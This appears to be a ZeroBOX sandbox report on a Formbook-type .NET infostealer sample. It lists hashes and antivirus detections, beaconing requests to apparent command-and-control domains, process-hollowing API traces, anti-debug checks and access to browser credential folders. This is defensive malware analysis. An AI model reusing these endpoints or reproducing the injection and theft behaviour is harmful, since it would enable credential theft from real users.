popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

bin2.scr

Formbook Generic Malware .NET framework(MSIL) Malicious Library UPX AntiDebug PE File DLL PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 June 14, 2024, 1:41 p.m. June 14, 2024, 1:43 p.m.
Size 592.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 0b2395819398823d092534e26209e799
SHA256 0bc916b7a3fad6931b9e37f6bdbf43fceb482662b4a7913b10905a2bf06268ce
CRC32 D30402F8
ssdeep 12288:z+I/wIe8N6sqqv6xoCa4j4yqfxWzeF2M2plL4WylpLuwu:wIeMQaWhqIe2MYluSwu
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • Is_DotNET_EXE - (no description)
  • IsPE32 - (no description)
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult
  • UPX_Zero - UPX packed file

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request POST http://www.sjzsls.com/9ypd/
request GET http://www.sjzsls.com/9ypd/?PJd=Fp4YMLPzXpbUfY9ET0WH3a72p3fXf7YhU2uVF/1Su8SRdO97GHvogqvz+96x72oMEQq3eHyW0zw8RVfXjuFBE/DSpz5ZNszOE2hxgYcLkAt/YsxuqXlLrzOhs3BZhOu+6KXTzoA=&roo=krO0qmwhIp_LJR2y
request GET http://www.sqlite.org/2022/sqlite-dll-win32-x86-3380000.zip
request POST http://www.winnscce.com/xk70/
request GET http://www.winnscce.com/xk70/?PJd=E9dNAQXSau8gxD7ycO4dLfQfH5YRjq6/aXbIhWqdNKhuK+zum8oLAEgkUh6j+ec/Dsz5NNoJPY83q7uKVhR+kQSzALNmdhL2cm95N3pKuY1dSsInVS8QGD1t6OErSJExWBCOe4E=&roo=krO0qmwhIp_LJR2y
request POST http://www.w90dm.top/8ms4/
request GET http://www.w90dm.top/8ms4/?PJd=udGRhKSFzWywOShfg4LrArlkOSU57jdgfHHoAEODJUB2/fB/f7uvWahs0ChcgR3p3uHY1bC8mP+rUPbsneCLatPp1qyYsRzD0wOOKHTt4GdecEtntAcROmt09OnVjaXmhkctiwE=&roo=krO0qmwhIp_LJR2y
request POST http://www.ay62m.top/orwn/
request GET http://www.ay62m.top/orwn/?PJd=3cBNLJTm2SpTWV5+FkCnTYkROdg55TQjKQDEk1HDa97easJD35wZE2GMsxRselnzvm7j4PFdEanRmF1YrarFthUoWpYtpzXpGMx8vyWuQ49fEDOcUJzL6xCqo7J2o8DZINEYFF8=&roo=krO0qmwhIp_LJR2y
request POST http://www.carolinappttery.com/q380/
request GET http://www.carolinappttery.com/q380/?PJd=ehUrFCKl0QR4T29AJZh5dRT/ZDPm9qTvUW59H2BhLEsiO0kIW28uNcfa56DEKhzH0iD+lYFdD8RRxblUIft60LyxhWLZTQGF9CEZTcwXHMEEzcDS8bPwZbiqnYj5NbIEEA54k2w=&roo=krO0qmwhIp_LJR2y
request POST http://www.ybw73.top/zfmd/
request GET http://www.ybw73.top/zfmd/?PJd=Wy9Xy0arXTA/u2vvBYrKIOUBpzUpOEWJyNtxnnOaFAzOmZ+G/QUaP7IPedalQRfZTnOTlfhQhpBKLAk/X9K39OImH5VRArdmcUQpro/j/mKcwsNXkqPqNRMPQWcketlQaFqDwMQ=&roo=krO0qmwhIp_LJR2y
request POST http://www.aritum.top/f2qc/
request GET http://www.aritum.top/f2qc/?PJd=+PlbwI8tNruUpga2nartzvIoOczIwOvbU1ANxXfMuvMQEzSRrWQM3cmspk1IFvcCMV40t1yig50Ax37YShWjrdIjOvIEgJJROzqkte3OBXYcjah0B7lnBY2SKVXOZr2cpq5/qwU=&roo=krO0qmwhIp_LJR2y
request POST http://www.tqfabxah.com/f5wa/
request GET http://www.tqfabxah.com/f5wa/?PJd=gvfimVYyVoaIA6LSQiLyJJ4rCFA+SDI9PWBc8jEgnhWVxILhAYweklxvvqcAelfwJ0IvmpbMteemAhVl67fWtrB9/BgWrmQnFTV5QmYGhYRFat8wsaPDvDNh/p04Lm04k2miCbo=&roo=krO0qmwhIp_LJR2y
request POST http://www.gospelstudygroup.org/qmdw/
request GET http://www.gospelstudygroup.org/qmdw/?PJd=kZQE5+J7NyHk1VKpZsdFopgUcfLAHlvR1AW0jxdBnvp4EB411rckL9DsM1GhyImy3YF39ksngIoiWe7h2+CLHpk3uYhNkgQe0XYv/yb90vBP9OLAjjQiCyGhN1bVP2EzpaLZrOo=&roo=krO0qmwhIp_LJR2y
request POST http://www.sjzsls.com/9ypd/
request POST http://www.winnscce.com/xk70/
request POST http://www.w90dm.top/8ms4/
request POST http://www.ay62m.top/orwn/
request POST http://www.carolinappttery.com/q380/
request POST http://www.ybw73.top/zfmd/
request POST http://www.aritum.top/f2qc/
request POST http://www.tqfabxah.com/f5wa/
request POST http://www.gospelstudygroup.org/qmdw/
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003d0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00430000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 1900544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02010000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00472000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0048c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0047a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0049a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00497000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0048a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0048d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00496000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a31000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a32000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a33000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73282000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2764
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00ac0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2928
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02110000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1452
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000004740000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description findstr.exe tried to sleep 152 seconds, actually delayed analysis time by 152 seconds
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\
file C:\Users\test22\AppData\Local\Chromium\User Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data
file C:\Users\test22\AppData\Local\Temp\sqlite3.dll
file C:\Users\test22\AppData\Local\Temp\bin2.scr
file C:\Users\test22\AppData\Local\Temp\bin2.scr
file C:\Users\test22\AppData\Local\Temp\sqlite3.dll
section {u'size_of_data': u'0x00093800', u'virtual_address': u'0x00002000', u'entropy': 7.588393067060611, u'name': u'.text', u'virtual_size': u'0x00093714'} entropy 7.58839306706 description A section with a high entropy has been found
entropy 0.996621621622 description Overall entropy of this PE file is high
url https://aka.ms/dotnet-warnings/
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
buffer Buffer with sha1: b39c1f9d09a586b339a53a77540e5f5292c71097
buffer Buffer with sha1: c5c866d6befe44b246411ddd2d295ec9096012b5
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2764
region_size: 270336
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000220
1 0 0
file C:\Users\test22\AppData\Local\AVAST Software\Browser\User Data
file C:\Users\test22\AppData\Local\AVG\Browser\User Data
file C:\Users\test22\AppData\Local\Temp\bin2.scr
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $y  =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPEL®þUà  ° @ @.text„ `
base_address: 0x00400000
process_identifier: 2764
process_handle: 0x00000220
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2764
process_handle: 0x00000220
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $y  =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPEL®þUà  ° @ @.text„ `
base_address: 0x00400000
process_identifier: 2764
process_handle: 0x00000220
1 1 0
Process injection Process 2656 called NtSetContextThread to modify thread in remote process 2764
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4199600
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000224
process_identifier: 2764
1 0 0
Process injection Process 2656 resumed a thread in remote process 2764
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000224
suspend_count: 1
process_identifier: 2764
1 0 0
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2656
1 0 0

NtResumeThread

 thread_handle: 0x00000154
suspend_count: 1
process_identifier: 2656
1 0 0

NtResumeThread

 thread_handle: 0x00000190
suspend_count: 1
process_identifier: 2656
1 0 0

CreateProcessInternalW

 thread_identifier: 2768
thread_handle: 0x00000224
process_identifier: 2764
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\bin2.scr
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\bin2.scr"
filepath_r: C:\Users\test22\AppData\Local\Temp\bin2.scr
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000220
1 1 0

NtGetContextThread

 thread_handle: 0x00000224
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2764
region_size: 270336
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000220
1 0 0

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $y  =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPEL®þUà  ° @ @.text„ `
base_address: 0x00400000
process_identifier: 2764
process_handle: 0x00000220
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2764
process_handle: 0x00000220
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2764
process_handle: 0x00000220
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4199600
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000224
process_identifier: 2764
1 0 0

NtResumeThread

 thread_handle: 0x00000224
suspend_count: 1
process_identifier: 2764
1 0 0

NtResumeThread

 thread_handle: 0x00000198
suspend_count: 1
process_identifier: 2928
1 0 0

CreateProcessInternalW

 thread_identifier: 2180
thread_handle: 0x00000410
process_identifier: 1400
current_directory:
filepath: C:\Program Files\Mozilla Firefox\firefox.exe
track: 1
command_line:
filepath_r: C:\Program Files\Mozilla Firefox\Firefox.exe
stack_pivoted: 0
creation_flags: 12 (CREATE_SUSPENDED|DETACHED_PROCESS)
inherit_handles: 0
process_handle: 0x00000414
1 1 0
Bkav W32.AIDetectMalware.CS
Elastic malicious (high confidence)
Skyhigh BehavesLike.Win32.Generic.hc
Cylance Unsafe
VirIT Trojan.Win32.MSIL_Heur.A
Symantec Trojan.Gen.MBT
tehtris Generic.Malware
ESET-NOD32 a variant of MSIL/Kryptik.ALTA
APEX Malicious
Avast Win32:TrojanX-gen [Trj]
Kaspersky HEUR:Trojan-Spy.MSIL.Noon.gen
Rising Malware.Obfus/MSIL@AI.80 (RDM.MSIL2:VxYIf6jrnOF+aX4wh759Gg)
F-Secure Trojan.TR/AD.Swotter.wuwze
DrWeb Trojan.Packed2.46950
McAfeeD ti!0BC916B7A3FA
Trapmine malicious.high.ml.score
FireEye Generic.mg.0b2395819398823d
Sophos Troj/Krypt-AFZ
Google Detected
Avira TR/AD.Swotter.wuwze
Microsoft Trojan:MSIL/Snakelogger.KAF!MTB
ZoneAlarm HEUR:Trojan-Spy.MSIL.Noon.gen
GData Win32.Trojan-Stealer.FormBook.IIGP41
Varist W32/MSIL_Kryptik.KXQ.gen!Eldorado
AhnLab-V3 Infostealer/Win.RequestPOST.C5640742
BitDefenderTheta Gen:NN.ZemsilF.36806.Lm0@aCSGeCo
DeepInstinct MALICIOUS
Malwarebytes Trojan.Crypt.MSIL
SentinelOne Static AI - Malicious PE
Fortinet MSIL/Agent.AES!tr
AVG Win32:TrojanX-gen [Trj]
CrowdStrike win/malicious_confidence_100% (W)